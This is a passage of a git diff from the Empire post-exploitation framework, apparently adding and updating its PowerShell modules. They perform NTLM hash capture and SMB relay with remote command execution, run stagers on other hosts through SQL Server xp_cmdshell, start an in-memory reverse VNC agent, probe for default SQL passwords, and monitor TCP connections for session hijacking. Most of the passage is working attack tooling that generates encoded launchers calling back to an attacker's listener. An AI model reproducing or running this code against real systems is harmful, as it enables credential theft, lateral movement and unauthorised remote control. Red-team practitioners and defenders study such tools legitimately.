- 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
- 'Required' : False,
- 'Value' : ''
- },
- 'WPADAuth' : {
- 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
- 'Required' : False,
- 'Value' : 'NTLM'
- },
- 'WPADIP' : {
- 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
- 'Required' : False,
- 'Value' : ''
- },
- 'WPADPort' : {
- 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
- 'Required' : False,
- 'Value' : ''
- },
- 'WPADDirectHosts' : {
- 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
- 'Required' : False,
- 'Value' : ''
- },
- 'Challenge' : {
- 'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.',
- 'Required' : False,
- 'Value' : ''
- },
- 'MachineAccounts' : {
- 'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).',
- 'Required' : False,
- 'Value' : 'N'
- },
- 'RunCount' : {
- 'Description' : 'Number of captures to perform before auto-exiting.',
- 'Required' : False,
- 'Value' : ''
- },
- 'RunTime' : {
- 'Description' : 'Run time duration in minutes.',
- 'Required' : False,
- 'Value' : ''
- }
- }
-
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
- self.mainMenu = mainMenu
-
- for param in params:
- # parameter format is [Name, Value]
- option, value = param
- if option in self.options:
- self.options[option]['Value'] = value
-
-
- def generate(self, obfuscate=False, obfuscationCommand=""):
-
- # read in the common module source code
- moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1"
- if obfuscate:
- helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
- moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
- try:
- f = open(moduleSource, 'r')
- except:
- print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
- return ""
-
- moduleCode = f.read()
- f.close()
-
- script = moduleCode
-
- # set defaults for Empire
- scriptEnd = "\n" + 'Invoke-InveighBruteForce -Tool "2" '
-
- for option,values in self.options.iteritems():
- if option.lower() != "agent":
- if values['Value'] and values['Value'] != '':
- if values['Value'].lower() == "true":
- # if we're just adding a switch
- scriptEnd += " -" + str(option)
- else:
- if "," in str(values['Value']):
- quoted = '"' + str(values['Value']).replace(',', '","') + '"'
- scriptEnd += " -" + str(option) + " " + quoted
- else:
- scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
- if obfuscate:
- scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
- script += scriptEnd
- return script
diff --git a/lib/modules/powershell/lateral_movement/inveigh_relay.py b/lib/modules/powershell/lateral_movement/inveigh_relay.py
index f1314b4..396aa44 100644
--- a/lib/modules/powershell/lateral_movement/inveigh_relay.py
+++ b/lib/modules/powershell/lateral_movement/inveigh_relay.py
@@ -9,18 +9,20 @@ class Module:
'Author': ['Kevin Robertson'],
- 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay '
- 'incoming HTTP NTLMv2 authentication requests to an SMB target. '
- 'If the authentication is successfully relayed and the account is '
- 'a local administrator, a specified command will be executed on the '
- 'target PSExec style. This module works best while also running '
- 'collection/inveigh with HTTP disabled.'),
+ 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay incoming '
+ 'HTTP/Proxy NTLMv1/NTLMv2 authentication requests to an SMB target. If the '
+ 'authentication is successfully relayed and the account has the correct '
+ 'privilege, a specified command or Empire launcher will be executed on the '
+ 'target PSExec style. This module works best while also running collection/inveigh '
+ 'with HTTP disabled. Note that this module exposes only a subset of Inveigh '
+ 'Relay\'s parameters. Inveigh Relay can be used through Empire\'s scriptimport '
+ 'and scriptcmd if additional parameters are needed.'),
'Background' : True,
'OutputExtension' : None,
- 'NeedsAdmin' : True,
+ 'NeedsAdmin' : False,
'OpsecSafe' : False,
@@ -38,35 +40,96 @@ class Module:
# format:
# value_name : {description, required, default_value}
'Agent' : {
- 'Description' : 'Agent to run module on.',
- 'Required' : True,
- 'Value' : ''
+ 'Description' : 'Agent to run module on.',
+ 'Required' : True,
+ 'Value' : ''
},
- 'SMBRelayTarget' : {
- 'Description' : 'IP address of system to target for SMB relay.',
- 'Required' : True,
- 'Value' : ''
+ 'Listener' : {
+ 'Description' : 'Listener to use.',
+ 'Required' : False,
+ 'Value' : ''
},
- 'SMBRelayCommand' : {
- 'Description' : 'Command to execute on SMB relay target. Do not wrap in quotes and use PowerShell character escapes where necessary.',
- 'Required' : True,
- 'Value' : ''
+ 'UserAgent' : {
+ 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
+ 'Required' : False,
+ 'Value' : 'default'
},
- 'SMBRelayUsernames' : {
- 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
- 'Required' : False,
- 'Value' : ''
+ 'Proxy_' : {
+ 'Description' : 'Proxy to use for request (default, none, or other).',
+ 'Required' : False,
+ 'Value' : 'default'
},
- 'SMBRelayAutoDisable' : {
- 'Description' : 'Automaticaly disable SMB relay after a successful command execution on target (Y/N).',
- 'Required' : False,
- 'Value' : 'Y'
+ 'ProxyCreds' : {
+ 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
+ 'Required' : False,
+ 'Value' : 'default'
},
- 'RunTime' : {
- 'Description' : 'Run time duration in minutes.',
- 'Required' : False,
- 'Value' : ''
+ 'Command' : {
+ 'Description' : 'Command to execute on relay target. Do not wrap in quotes and use PowerShell escape characters and newlines where necessary.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'ConsoleOutput' : {
+ 'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'ConsoleStatus' : {
+ 'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'ConsoleUnique' : {
+ 'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'HTTP' : {
+ 'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture/relay.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Proxy' : {
+ 'Description' : '(Y/N) Default = N: Enable/Disable Inveigh\'s proxy server authentication capture/relay.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'ProxyPort' : {
+ 'Description' : 'Default = 8492: TCP port for Inveigh\'s proxy listener.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'RunTime' : {
+ 'Description' : 'Run time duration in minutes.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Service' : {
+ 'Description' : 'Default = 20 character random: Name of the service to create and delete on the target.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'SMB1' : {
+ 'Description' : '(Switch) Force SMB1.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Target' : {
+ 'Description' : 'IP address or hostname of system to target for relay.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Usernames' : {
+ 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'WPADAuth' : {
+ 'Description' : '(Anonymous/NTLM) HTTP listener authentication type for wpad.dat requests.',
+ 'Required' : False,
+ 'Value' : ''
}
+
}
# save off a copy of the mainMenu object to access external functionality
@@ -82,6 +145,12 @@ class Module:
def generate(self, obfuscate=False, obfuscationCommand=""):
+ listenerName = self.options['Listener']['Value']
+ userAgent = self.options['UserAgent']['Value']
+ proxy = self.options['Proxy_']['Value']
+ proxyCreds = self.options['ProxyCreds']['Value']
+ command = self.options['Command']['Value']
+
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1"
if obfuscate:
@@ -98,11 +167,21 @@ class Module:
script = moduleCode
+ if command == "":
+ if not self.mainMenu.listeners.is_listener_valid(listenerName):
+ # not a valid listener, return nothing for the script
+ print helpers.color("[!] Invalid listener: " + listenerName)
+ return ""
+
+ else:
+
+ # generate the PowerShell one-liner with all of the proper options set
+ command = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
# set defaults for Empire
- scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" '
-
- for option,values in self.options.iteritems():
- if option.lower() != "agent":
+ scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" -Command \"%s\"' % (command)
+
+ for option,values in self.options.iteritems():
+ if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "useragent" and option.lower() != "proxy_" and option.lower() != "proxycreds" and option.lower() != "command":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
diff --git a/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py
new file mode 100644
index 0000000..8478b8d
--- /dev/null
+++ b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py
@@ -0,0 +1,131 @@
+from lib.common import helpers
+class Module:
+ def __init__(self, mainMenu, params=[]):
+ self.info = {
+ 'Name': 'Invoke-SQLOSCMD',
+ 'Author': ['@nullbind', '@0xbadjuju'],
+ 'Description': ('Executes a command or stager on remote hosts using xp_cmdshell.'),
+ 'Background' : True,
+ 'OutputExtension' : None,
+
+ 'NeedsAdmin' : False,
+ 'OpsecSafe' : True,
+ 'Language' : 'powershell',
+ 'MinPSVersion' : '2',
+ 'MinLanguageVersion' : '2',
+
+ 'Comments': []
+ }
+ self.options = {
+ 'Agent' : {
+ 'Description' : 'Agent to run module on.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'CredID' : {
+ 'Description' : 'CredID from the store to use.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Instance' : {
+ 'Description' : 'Host[s] to execute the stager on, comma separated.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Listener' : {
+ 'Description' : 'Listener to use.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Command' : {
+ 'Description' : 'Custom command to execute on remote hosts.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'UserName' : {
+ 'Description' : '[domain\]username to use to execute command.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Password' : {
+ 'Description' : 'Password to use to execute command.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'UserAgent' : {
+ 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
+ 'Required' : False,
+ 'Value' : 'default'
+ },
+ 'Proxy' : {
+ 'Description' : 'Proxy to use for request (default, none, or other).',
+ 'Required' : False,
+ 'Value' : 'default'
+ },
+ 'ProxyCreds' : {
+ 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
+ 'Required' : False,
+ 'Value' : 'default'
+ }
+ }
+
+ self.mainMenu = mainMenu
+ for param in params:
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+ def generate(self):
+
+ credID = self.options["CredID"]['Value']
+ if credID != "":
+ if not self.mainMenu.credentials.is_credential_valid(credID):
+ print helpers.color("[!] CredID is invalid!")
+ return ""
+ (credID, credType, domainName, username, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
+ if domainName != "":
+ self.options["UserName"]['Value'] = str(domainName) + "\\" + str(username)
+ else:
+ self.options["UserName"]['Value'] = str(username)
+ if password != "":
+ self.options["Password"]['Value'] = password
+
+ listenerName = self.options['Listener']['Value']
+ userAgent = self.options['UserAgent']['Value']
+ proxy = self.options['Proxy']['Value']
+ proxyCreds = self.options['ProxyCreds']['Value']
+ instance = self.options['Instance']['Value']
+ command = self.options['Command']['Value']
+ username = self.options['UserName']['Value']
+ password = self.options['Password']['Value']
+
+
+ moduleSource = self.mainMenu.installPath + "data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1"
+ moduleCode = ""
+ try:
+ with open(moduleSource, 'r') as source:
+ moduleCode = source.read()
+ except:
+ print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+ return ""
+ script = moduleCode
+
+
+ if command == "":
+ if not self.mainMenu.listeners.is_listener_valid(listenerName):
+ print helpers.color("[!] Invalid listener: " + listenerName)
+ return ""
+ else:
+ launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
+ if launcher == "":
+ return ""
+ else:
+ command = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
+
+
+ script += "Invoke-SQLOSCmd -Instance \"%s\" -Command \"%s\"" % (instance, command)
+
+ if username != "":
+ script += " -UserName "+username
+ if password != "":
+ script += " -Password "+password
+ return script
diff --git a/lib/modules/powershell/management/vnc.py b/lib/modules/powershell/management/vnc.py
new file mode 100644
index 0000000..dfd2863
--- /dev/null
+++ b/lib/modules/powershell/management/vnc.py
@@ -0,0 +1,102 @@
+from lib.common import helpers
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ self.info = {
+ 'Name': 'Invoke-Vnc',
+
+ 'Author': ['@n00py'],
+
+ 'Description': ('Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.'),
+
+ 'Background' : True,
+
+ 'OutputExtension' : None,
+
+ 'NeedsAdmin' : False,
+
+ 'OpsecSafe' : True,
+
+ 'Language' : 'powershell',
+
+ 'MinLanguageVersion' : '2',
+
+ 'Comments': [
+ 'https://github.com/artkond/Invoke-Vnc'
+ ]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent' : {
+ 'Description' : 'Agent to run module on.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Port' : {
+ 'Description' : 'Port to Use.',
+ 'Required' : True,
+ 'Value' : '5900'
+ },
+ 'Password' : {
+ 'Description' : 'Password to use.',
+ 'Required' : True,
+ 'Value' : 'password'
+ },
+ 'ConType' : {
+ 'Description' : 'Connection type, choose \"bind\" or \"reverse\".',
+ 'Required' : True,
+ 'Value' : 'bind'
+ }
+ ,
+ 'IpAddress' : {
+ 'Description' : 'IP Address to use for reverse connection.',
+ 'Required' : False,
+ 'Value' : ''
+ }
+ }
+
+ # save off a copy of the mainMenu object to access external functionality
+ # like listeners/agent handlers/etc.
+ self.mainMenu = mainMenu
+
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+
+ def generate(self):
+
+ moduleName = self.info["Name"]
+
+ # read in th Invoke-Vnc.ps1 module source code
+ moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-Vnc.ps1"
+
+ try:
+ f = open(moduleSource, 'r')
+ except:
+ print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+ return ""
+
+ moduleCode = f.read()
+ f.close()
+
+ script = moduleCode
+
+ script += "\nInvoke-Vnc"
+
+ for option,values in self.options.iteritems():
+ if option.lower() != "agent":
+ if values['Value'] and values['Value'] != '':
+ if values['Value'].lower() == "true":
+ # if we're just adding a switch
+ script += " -" + str(option)
+ else:
+ script += " -" + str(option) + " " + str(values['Value'])
+ return script
diff --git a/lib/modules/powershell/recon/get_sql_server_login_default_pw.py b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py
new file mode 100644
index 0000000..1b92afc
--- /dev/null
+++ b/lib/modules/powershell/recon/get_sql_server_login_default_pw.py
@@ -0,0 +1,98 @@
+from lib.common import helpers
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ self.info = {
+ 'Name': 'Get-SQLServerLoginDefaultPw',
+ 'Author': ['@_nullbind', '@0xbadjuju'],
+ 'Description': ('Based on the instance name, test if SQL Server '
+ 'is configured with default passwords.'),
+ 'Background' : True,
+ 'OutputExtension' : None,
+
+ 'NeedsAdmin' : False,
+ 'OpsecSafe' : True,
+ 'Language' : 'powershell',
+ 'MinPSVersion' : '2',
+ 'MinLanguageVersion' : '2',
+
+ 'Comments': [
+ 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1',
+ 'https://github.com/pwnwiki/pwnwiki.github.io/blob/master/tech/db/mssql.md'
+ ]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent' : {
+ 'Description' : 'Agent to run module on.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Username' : {
+ 'Description' : 'SQL Server or domain account to authenticate with. Only used for CheckAll',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Password' : {
+ 'Description' : 'SQL Server or domain account password to authenticate with. Only used for CheckAll',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Instance' : {
+ 'Description' : 'SQL Server instance to connection to.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'CheckAll' : {
+ 'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.',
+ 'Required' : False,
+ 'Value' : ''
+ }
+ }
+
+ self.mainMenu = mainMenu
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+ def generate(self):
+ username = self.options['Username']['Value']
+ password = self.options['Password']['Value']
+ instance = self.options['Instance']['Value']
+ check_all = self.options['CheckAll']['Value']
+
+ # read in the common module source code
+ moduleSource = self.mainMenu.installPath + "data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1"
+ script = ""
+ try:
+ with open(moduleSource, 'r') as source:
+ script = source.read()
+ except:
+ print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+ return ""
+
+ if check_all:
+ auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
+ try:
+ with open(auxModuleSource, 'r') as auxSource:
+ auxScript = auxSource.read()
+ script += " " + auxScript
+ except:
+ print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
+ script += " Get-SQLInstanceDomain "
+ if username != "":
+ script += " -Username "+username
+ if password != "":
+ script += " -Password "+password
+ script += " | Select Instance | "
+ script += " Get-SQLServerLoginDefaultPw"
+ if instance != "" and not check_all:
+ script += " -Instance "+instance
+ return script
\ No newline at end of file
diff --git a/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py b/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py
new file mode 100644
index 0000000..08ed64e
--- /dev/null
+++ b/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py
@@ -0,0 +1,116 @@
+from lib.common import helpers
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ # metadata info about the module, not modified during runtime
+ self.info = {
+ # name for the module that will appear in module menus
+ 'Name': 'Start-MonitorTCPConnections',
+
+ # list of one or more authors for the module
+ 'Author': ['@erikbarzdukas'],
+
+ # more verbose multi-line description of the module
+ 'Description': ('Monitors hosts for TCP connections to a specified domain name or IPv4 address.'
+ ' Useful for session hijacking and finding users interacting with sensitive services.'),
+
+ # True if the module needs to run in the background
+ 'Background' : True,
+
+ # File extension to save the file as
+ 'OutputExtension' : None,
+
+ # True if the module needs admin rights to run
+ 'NeedsAdmin' : False,
+
+ # True if the method doesn't touch disk/is reasonably opsec safe
+ 'OpsecSafe' : True,
+
+ # the language for this module
+ 'Language' : 'powershell',
+
+ # The minimum PowerShell version needed for the module to run
+ 'MinLanguageVersion' : '2',
+
+ # list of any references/other comments
+ 'Comments': [
+ 'Based on code from Tim Ferrell.',
+ ]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent' : {
+ # The 'Agent' option is the only one that MUST be in a module
+ 'Description' : 'Agent to monitor from.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'TargetDomain' : {
+ 'Description' : 'Domain name or IPv4 address of target service.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'CheckInterval' : {
+ 'Description' : 'Interval in seconds to check for the connection',
+ 'Required' : True,
+ 'Value' : '15'
+ }
+ }
+
+ # save off a copy of the mainMenu object to access external functionality
+ # like listeners/agent handlers/etc.
+ self.mainMenu = mainMenu
+
+ # During instantiation, any settable option parameters
+ # are passed as an object set to the module and the
+ # options dictionary is automatically set. This is mostly
+ # in case options are passed on the command line
+ if params:
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+
+ def generate(self):
+
+ # the PowerShell script itself, with the command to invoke
+ # for execution appended to the end. Scripts should output
+ # everything to the pipeline for proper parsing.
+ #
+ # the script should be stripped of comments, with a link to any
+ # original reference script included in the comments.
+
+ # if you're reading in a large, external script that might be updates,
+ # use the pattern below
+ # read in the common module source code
+ moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Start-MonitorTCPConnections.ps1"
+ try:
+ f = open(moduleSource, 'r')
+ except:
+ print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+ return ""
+
+ moduleCode = f.read()
+ f.close()
+
+ script = moduleCode
+ script += "Start-TCPMonitor"
+
+ # add any arguments to the end execution of the script
+ for option,values in self.options.iteritems():
+ if option.lower() != "agent":
+ if values['Value'] and values['Value'] != '':
+ if values['Value'].lower() == "true":
+ # if we're just adding a switch
+ script += " -" + str(option)
+ else:
+ script += " -" + str(option) + " " + str(values['Value'])
+
+ return script
diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py
new file mode 100644
index 0000000..5ac139d
--- /dev/null
+++ b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py
@@ -0,0 +1,118 @@
+from lib.common import helpers
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ self.info = {
+ 'Name' : 'Get-SQLInstanceDomain',
+ 'Author': ['@_nullbind', '@0xbadjuju'],
+ 'Description': ('Returns a list of SQL Server instances discovered by querying '
+ 'a domain controller for systems with registered MSSQL service '
+ 'principal names. The function will default to the current user\'s '
+ 'domain and logon server, but an alternative domain controller '
+ 'can be provided. UDP scanning of management servers is optional.'),
+ 'Background' : True,
+ 'OutputExtension' : None,
+
+ 'NeedsAdmin' : False,
+ 'OpsecSafe' : True,
+ 'Language' : 'powershell',
+ 'MinPSVersion' : '2',
+ 'MinLanguageVersion' : '2',
+
+ 'Comments': [
+ 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
+ ]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent' : {
+ 'Description' : 'Agent to run module on.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'DomainController' : {
+ 'Description' : "Domain controller for Domain and Site that you want to query against.",
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'ComputerName' : {
+ 'Description' : 'Computer name to filter for.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'DomainServiceAccount' : {
+ 'Description' : 'Domain account to filter for.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'CheckMgmt' : {
+ 'Description' : 'Performs UDP scan of servers managing SQL Server clusters.',
+ 'Required' : False,
+ 'Value' : 'False'
+ },
+ 'UDPTimeOut' : {
+ 'Description' : 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.',
+ 'Required' : False,
+ 'Value' : '3'
+ },
+ 'Username' : {
+ 'Description' : 'SQL Server or domain account to authenticate with.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Password' : {
+ 'Description' : 'SQL Server or domain account password to authenticate with.',
+ 'Required' : False,
+ 'Value' : ''
+ }
+ }
+
+ self.mainMenu = mainMenu
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+ def generate(self):
+
+ domainController = self.options['DomainController']['Value']
+ computerName = self.options['ComputerName']['Value']
+ domainAccount = self.options['DomainServiceAccount']['Value']
+ checkMgmt = self.options['CheckMgmt']['Value']
+ udpTimeOut = self.options['UDPTimeOut']['Value']
+ username = self.options['Username']['Value']
+ password = self.options['Password']['Value']
+
+ # read in the common module source code
+ moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
+ script = ""
+ try:
+ with open(moduleSource, 'r') as source:
+ script = source.read()
+ except:
+ print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+ return ""
+
+ script += " Get-SQLInstanceDomain"
+ if username != "":
+ script += " -Username " + username
+ if password != "":
+ script += " -Password " + password
+ if domainController != "":
+ script += " -DomainController "+domainController
+ if computerName != "":
+ script += " -ComputerName "+computerName
+ if domainAccount != "":
+ script += " -DomainAccount "+domainAccount
+ if checkMgmt.lower() != "false":
+ script += " -CheckMgmt"
+ if udpTimeOut != "":
+ script += " -UDPTimeOut "+udpTimeOut
+
+ return script
diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py
new file mode 100644
index 0000000..e65c388
--- /dev/null
+++ b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py
@@ -0,0 +1,101 @@
+from lib.common import helpers
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ self.info = {
+ 'Name': 'Get-SQLServerInfo',
+ 'Author': ['@_nullbind', '@0xbadjuju'],
+ 'Description': ('Returns basic server and user information from target SQL Servers.'),
+ 'Background' : True,
+ 'OutputExtension' : None,
+
+ 'NeedsAdmin' : False,
+ 'OpsecSafe' : True,
+ 'Language' : 'powershell',
+ 'MinPSVersion' : '2',
+ 'MinLanguageVersion' : '2',
+
+ 'Comments': [
+ 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
+ ]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent' : {
+ 'Description' : 'Agent to run module on.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Username' : {
+ 'Description' : 'SQL Server or domain account to authenticate with.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Password' : {
+ 'Description' : 'SQL Server or domain account password to authenticate with.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'Instance' : {
+ 'Description' : 'SQL Server instance to connection to.',
+ 'Required' : False,
+ 'Value' : ''
+ },
+ 'CheckAll' : {
+ 'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain',
+ 'Required' : False,
+ 'Value' : ''
+ }
+ }
+
+ self.mainMenu = mainMenu
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+ def generate(self):
+ username = self.options['Username']['Value']
+ password = self.options['Password']['Value']
+ instance = self.options['Instance']['Value']
+ check_all = self.options['CheckAll']['Value']
+
+ # read in the common module source code
+ moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1"
+ script = ""
+ try:
+ with open(moduleSource, 'r') as source:
+ script = source.read()
+ except:
+ print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+ return ""
+
+ if check_all:
+ auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
+ try:
+ with open(auxModuleSource, 'r') as auxSource:
+ auxScript = auxSource.read()
+ script += " " + auxScript
+ except:
+ print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
+ script += " Get-SQLInstanceDomain "
+ if username != "":
+ script += " -Username "+username
+ if password != "":
+ script += " -Password "+password
+ script += " | "
+ script += " Get-SQLServerInfo"
+ if username != "":
+ script += " -Username "+username
+ if password != "":
+ script += " -Password "+password
+ if instance != "" and not check_all:
+ script += " -Instance "+instance
+
+ return script
diff --git a/lib/modules/powershell/trollsploit/wlmdr.py b/lib/modules/powershell/trollsploit/wlmdr.py
new file mode 100644
index 0000000..65d9ca4
--- /dev/null
+++ b/lib/modules/powershell/trollsploit/wlmdr.py
@@ -0,0 +1,111 @@
+from lib.common import helpers
+
+class Module:
+
+ def __init__(self, mainMenu, params=[]):
+
+ self.info = {
+ 'Name': 'Invoke-WLMDR',
+
+ 'Author': ['@benichmt1'],
+
+ 'Description': ("Displays a balloon reminder in the taskbar."),
+
+ 'Background' : True,
+
+ 'OutputExtension' : None,
+
+ 'NeedsAdmin' : False,
+
+ 'OpsecSafe' : False,
+
+ 'Language' : 'powershell',
+
+ 'MinLanguageVersion' : '2',
+
+ 'Comments': [
+ ''
+ ]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Agent' : {
+ 'Description' : 'Agent to run module on.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'Message' : {
+ 'Description' : 'Message text to display.',
+ 'Required' : True,
+ 'Value' : 'You are using a pirated version of Microsoft Windows.'
+ },
+ 'IconType' : {
+ 'Description' : 'Critical, Exclamation, Information, Key, or None',
+ 'Required' : True,
+ 'Value' : 'Key'
+ },
+ 'Title' : {
+ 'Description' : 'Title of the message box to display.',
+ 'Required' : True,
+ 'Value' : 'Windows Explorer'
+ }
+ }
+
+ # save off a copy of the mainMenu object to access external functionality
